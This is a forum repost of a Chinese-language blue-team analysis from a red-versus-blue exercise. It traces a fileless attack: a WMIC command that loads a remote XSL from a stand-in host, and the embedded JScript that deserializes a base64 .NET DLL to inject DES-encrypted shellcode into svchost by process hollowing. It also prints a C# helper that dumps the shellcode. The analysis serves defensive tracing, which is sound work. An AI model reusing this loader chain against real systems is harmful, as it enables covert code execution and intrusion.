安全矩阵

 找回密码
 立即注册
搜索
查看: 2270|回复: 0

一次红蓝对抗无文件攻击溯源

[复制链接]

251

主题

270

帖子

1797

积分

金牌会员

Rank: 6Rank: 6

积分
1797
发表于 2022-1-29 10:54:53 | 显示全部楼层 |阅读模式
一次红蓝对抗无文件攻击溯源


转载于:程序员阿甘 2022-01-28 22:00
  1. 文章作者:FFE4
  2. 原文地址:https://blog.csdn.net/cssxn/article/details/88956732
复制代码
0x01 简述
前段时间参加公司举办的红蓝对抗演习,帮助蓝军分析并溯源样本。拿到样本时,就一个xsl类型的文件,和一个用来执行该样本的命令行,如下所示:
  1. C:/Windows/SysWOW64/wbem/WMIC.exe os get /format:"//ip/scripts/1.xsl"
复制代码
可以看出,是通过白利用技术,通过wmic来执行的这个恶意的xsl文件,想了解更多,可以参考这篇文章
https://3gstudent.github.io/3gst ... %E5%88%A9%E7%94%A8/

0x02 xsl文件分析
XSL文件是一种可扩展样式语言,可以通过内置标签来解析执行其他脚本语言,如:Javascript,VBscript等。
https://zh.wikipedia.org/wiki/%E ... F%E8%AF%AD%E8%A8%80

通过分析发现,该xsl中内嵌的远不止JS脚本这么简单!内嵌的js脚本会修改当前进程的shell环境为.net的环境,然后通过解密base64硬编码的PE文件,该文件是由C#编写的DLL文件。

然后以.NET的shell环境来调用.net的函数,并把硬编码的dll文件字节码反序列化成C#类对象,调用该类对象中的名为:call的函数,通过js调用.net函数,参考:
https://github.com/tyranid/DotNetToJScript

修改Shell环境为.NET:
  1. function autoversion()
  2. {
  3. var shell = new ActiveXObject('WScript.Shell');
  4.         ver = 'v4.0.30319';
  5. try {
  6.         shell.RegRead('HKLM\\SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\');
  7.         } catch(e) {
  8.         ver = 'v2.0.50727';
  9.         }
  10.         shell.Environment('Process')('COMPLUS_Version') = ver;
  11.     }
复制代码
调用.net类对象的call函数,可以看到call函数传入一个系统进程名字,svchost.exe,另一个是base64硬编码的一段加密的code

run函数:
  1. function run()
  2. {
  3.         var serialized_obj = 'base64硬编码的C# DLL文件';
  4.         var cryptedcode = 'Base64加密的shellcode';
  5.         var entry_class = 'test';

  6.         try
  7.         {
  8.             autoversion();
  9.             var stm = base64ToStream(serialized_obj);
  10.             var fmt = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter');
  11.             var al = new ActiveXObject('System.Collections.ArrayList');
  12.             var d = fmt.Deserialize_2(stm);
  13.             al.Add(fmt.SurrogateSelector);
  14.             var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);
  15.             o.call('svchost.exe', cryptedcode);
  16.         }
  17.         catch (e)
  18.         {
  19.         }

  20.         return 0;
  21.     }
复制代码

serialized_obj变量中保存的是base64硬编码的dll文件,首先通过Chrome浏览器自带的调试器,还原出完整的base64加密字符串,点击右下角的copy


然后使用010Editor自带的base64decode脚本解密该密文


解密base64后,切换个hex模式,往下拉动滚动条,可以看到文件的MZ头,删除前面的垃圾内容,保留从MZ头到末尾即可还原出DLL文件


可以看到是.net2.0库写的dll

​​

0x03 C# DLL文件分析
使用ILSpy工具反编译刚才dump出来的C# DLL文件,可以看到内部有个test类,类中果然有个call的方法


call(svchost,base64密文),Call方法中调用 DESEncrypt.Decrypt(b64code, test.key);方法,解密base64密文,然后使用硬编码的DES KEY:***ATeam 解密shellcode


最后调用CodeLoader.CreateProcessWithCode(path, code); 通过分析CreateProcessWithCode函数,发现是通过创建傀儡进程的方式注入shellcode并运行的,了解更多,请参考
https://www.4hou.com/technology/8869.html

0x04 shellcode分析通过上面的分析,可以写一个C#程序,把注入到进程中的shellcode dump出来
  1. using System;
  2. using System.Collections.Generic;
  3. using System.IO;
  4. using System.Linq;
  5. using System.Security.Cryptography;
  6. using System.Text;
  7. using System.Threading.Tasks;

  8. namespace test
  9. {
  10.     class Program
  11.     {
  12.         static string key = "xxx";
  13.         static string cryptedcode = "base64->des加密的shellcode";

  14.         public static byte[] Decrypt(string pToDecrypt, string sKey)
  15.         {
  16.             DESCryptoServiceProvider dESCryptoServiceProvider = new DESCryptoServiceProvider();
  17.             byte[] array = Convert.FromBase64String(pToDecrypt);
  18.             dESCryptoServiceProvider.Key = Encoding.ASCII.GetBytes(sKey);
  19.             dESCryptoServiceProvider.IV = Encoding.ASCII.GetBytes(sKey);
  20.             MemoryStream memoryStream = new MemoryStream();
  21.             CryptoStream cryptoStream = new CryptoStream(memoryStream, dESCryptoServiceProvider.CreateDecryptor(), CryptoStreamMode.Write);
  22.             cryptoStream.Write(array, 0, array.Length);
  23.             cryptoStream.FlushFinalBlock();
  24.             return memoryStream.ToArray();
  25.         }

  26.         static void Main(string[] args)
  27.         {

  28.            byte[] code =  Decrypt(cryptedcode, key);
  29.            string filePath = Directory.GetCurrentDirectory() + "\\123.txt";
  30.            if (File.Exists(filePath))
  31.                File.Delete(filePath);

  32.            FileStream fs = new FileStream(filePath, FileMode.Create);
  33.            fs.Write(code, 0, code.Length);
  34.            fs.Flush();
  35.            fs.Close();

  36.             
  37.            int n = 123;
  38.         }
  39.     }
  40. }
复制代码
​分析shellcode后,发现是个loader程序,对应的C2地址,由于这边IP访问限制,访问不了总部那边的网络


版权申明:内容来源网络,版权归原创者所有。除非无法确认,都会标明作者及出处,如有侵权,烦请告知,我们会立即删除并致歉!

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-23 23:40 , Processed in 0.015147 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表